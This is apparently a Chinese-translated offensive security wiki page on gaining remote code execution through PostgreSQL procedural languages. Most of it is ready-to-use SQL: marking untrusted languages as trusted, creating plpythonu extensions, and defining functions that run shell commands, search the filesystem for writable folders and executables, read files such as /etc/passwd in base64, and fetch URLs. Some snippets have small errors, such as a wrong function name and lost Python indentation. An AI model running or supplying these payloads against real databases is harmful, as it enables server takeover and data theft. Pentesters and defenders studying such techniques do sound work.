# RCE with PostgreSQL Languages

{{#include ../../../banners/hacktricks-training.md}}

## PostgreSQL Languages

您获得访问权限的 PostgreSQL 数据库可能安装了不同的 **脚本语言**，您可以利用这些语言来 **执行任意代码**。

您可以 **让它们运行**：
```sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```
大多数可以在 PostgreSQL 中安装的脚本语言有 **2 种类型**：**受信任的** 和 **不受信任的**。**不受信任的** 语言名称 **以 "u" 结尾**，并且是允许你 **执行代码** 和使用其他有趣功能的版本。如果安装了这些语言，它们会很有趣：

- **plpythonu**
- **plpython3u**
- **plperlu**
- **pljavaU**
- **plrubyu**
- ...（任何其他使用不安全版本的编程语言）

> [!WARNING]
> 如果你发现一个有趣的语言是 **已安装** 但被 PostgreSQL **标记为不受信任**（**`lanpltrusted`** 为 **`false`**），你可以尝试用以下语句 **信任它**，这样 PostgreSQL 就不会施加任何限制：
>
> ```sql
> UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
> # 检查你对表 pg_language 的权限
> SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
> ```

> [!CAUTION]
> 如果你没有看到某个语言，你可以尝试加载它（**你需要是超级管理员**）：
>
> ```
> CREATE EXTENSION plpythonu;
> CREATE EXTENSION plpython3u;
> CREATE EXTENSION plperlu;
> CREATE EXTENSION pljavaU;
> CREATE EXTENSION plrubyu;
> ```

请注意，可以将安全版本编译为“不安全”。例如，查看 [**this**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此，即使你只发现安装了 **受信任的** 版本，尝试执行代码也是值得的。

## plpythonu/plpython3u

{{#tabs}}
{{#tab name="RCE"}}
```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve
```
{{#endtab}}

{{#tab name="获取操作系统用户"}}
```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless
```
{{#endtab}}

{{#tab name="列出目录"}}
```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir
```
{{#endtab}}

{{#tab name="查找 W 文件夹"}}
```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)
```
{{#endtab}}

{{#tab name="查找文件"}}
```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file
```
{{#endtab}}

{{#tab name="查找可执行文件"}}
```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)
```
{{#endtab}}

{{#tab name="通过子字符串查找 exec"}}
```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring
```
{{#endtab}}

{{#tab name="阅读"}}
```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64
```
{{#endtab}}

{{#tab name="获取权限"}}
```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file
```
{{#endtab}}

{{#tab name="Request"}}
```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3
```
{{#endtab}}
{{#endtabs}}

## pgSQL

查看以下页面：

{{#ref}}
pl-pgsql-password-bruteforce.md
{{#endref}}

## C

查看以下页面：

{{#ref}}
rce-with-postgresql-extensions.md
{{#endref}}

{{#include ../../../banners/hacktricks-training.md}}